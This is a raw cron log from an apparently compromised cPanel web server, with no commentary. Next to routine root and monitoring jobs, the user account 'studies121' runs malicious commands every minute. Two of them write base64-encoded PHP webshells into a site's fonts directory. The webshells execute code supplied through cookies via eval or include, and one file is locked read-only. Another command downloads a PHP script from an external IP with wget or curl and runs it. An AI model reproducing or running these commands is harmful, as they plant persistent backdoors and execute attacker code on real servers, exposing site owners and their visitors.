Sep  4 16:50:01 ip-184-168-122-23 CROND[23434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:50:01 ip-184-168-122-23 CROND[23435]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:50:01 ip-184-168-122-23 CROND[23433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:50:01 ip-184-168-122-23 CROND[23437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:50:01 ip-184-168-122-23 CROND[23444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:51:01 ip-184-168-122-23 CROND[23566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:51:01 ip-184-168-122-23 CROND[23569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:51:01 ip-184-168-122-23 CROND[23568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:51:01 ip-184-168-122-23 CROND[23570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:52:01 ip-184-168-122-23 CROND[23669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:52:01 ip-184-168-122-23 CROND[23670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:52:01 ip-184-168-122-23 CROND[23672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:52:01 ip-184-168-122-23 CROND[23673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:52:01 ip-184-168-122-23 CROND[23671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:53:01 ip-184-168-122-23 CROND[23764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:53:01 ip-184-168-122-23 CROND[23766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:53:01 ip-184-168-122-23 CROND[23767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:53:01 ip-184-168-122-23 CROND[23768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:54:01 ip-184-168-122-23 CROND[23880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:54:01 ip-184-168-122-23 CROND[23878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:54:01 ip-184-168-122-23 CROND[23881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:54:01 ip-184-168-122-23 CROND[23879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:54:01 ip-184-168-122-23 CROND[23882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:55:01 ip-184-168-122-23 CROND[23979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:55:01 ip-184-168-122-23 CROND[23981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:55:01 ip-184-168-122-23 CROND[23982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:55:01 ip-184-168-122-23 CROND[23983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:55:01 ip-184-168-122-23 CROND[23984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:55:01 ip-184-168-122-23 CROND[23985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:56:01 ip-184-168-122-23 CROND[24074]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:56:01 ip-184-168-122-23 CROND[24077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:56:01 ip-184-168-122-23 CROND[24075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:56:01 ip-184-168-122-23 CROND[24078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:56:01 ip-184-168-122-23 CROND[24076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:57:01 ip-184-168-122-23 CROND[24277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:57:01 ip-184-168-122-23 CROND[24280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:57:01 ip-184-168-122-23 CROND[24278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:57:01 ip-184-168-122-23 CROND[24279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:58:01 ip-184-168-122-23 CROND[24375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:58:01 ip-184-168-122-23 CROND[24376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:58:01 ip-184-168-122-23 CROND[24378]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:58:01 ip-184-168-122-23 CROND[24377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:58:01 ip-184-168-122-23 CROND[24379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:59:01 ip-184-168-122-23 CROND[24496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:59:01 ip-184-168-122-23 CROND[24497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:59:01 ip-184-168-122-23 CROND[24498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:59:01 ip-184-168-122-23 CROND[24499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:00:01 ip-184-168-122-23 CROND[24652]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:00:01 ip-184-168-122-23 CROND[24656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:00:01 ip-184-168-122-23 CROND[24658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:00:01 ip-184-168-122-23 CROND[24657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:00:01 ip-184-168-122-23 CROND[24660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:00:01 ip-184-168-122-23 CROND[24655]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:00:01 ip-184-168-122-23 CROND[24661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:00:01 ip-184-168-122-23 CROND[24659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:01:01 ip-184-168-122-23 CROND[24763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:01:01 ip-184-168-122-23 CROND[24764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:01:02 ip-184-168-122-23 CROND[24766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:01:02 ip-184-168-122-23 CROND[24769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:01:02 ip-184-168-122-23 CROND[24767]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 17:01:02 ip-184-168-122-23 CROND[24768]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24768]: starting 0anacron
Sep  4 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24785]: finished 0anacron
Sep  4 17:02:01 ip-184-168-122-23 CROND[24864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:02:01 ip-184-168-122-23 CROND[24865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:02:01 ip-184-168-122-23 CROND[24866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
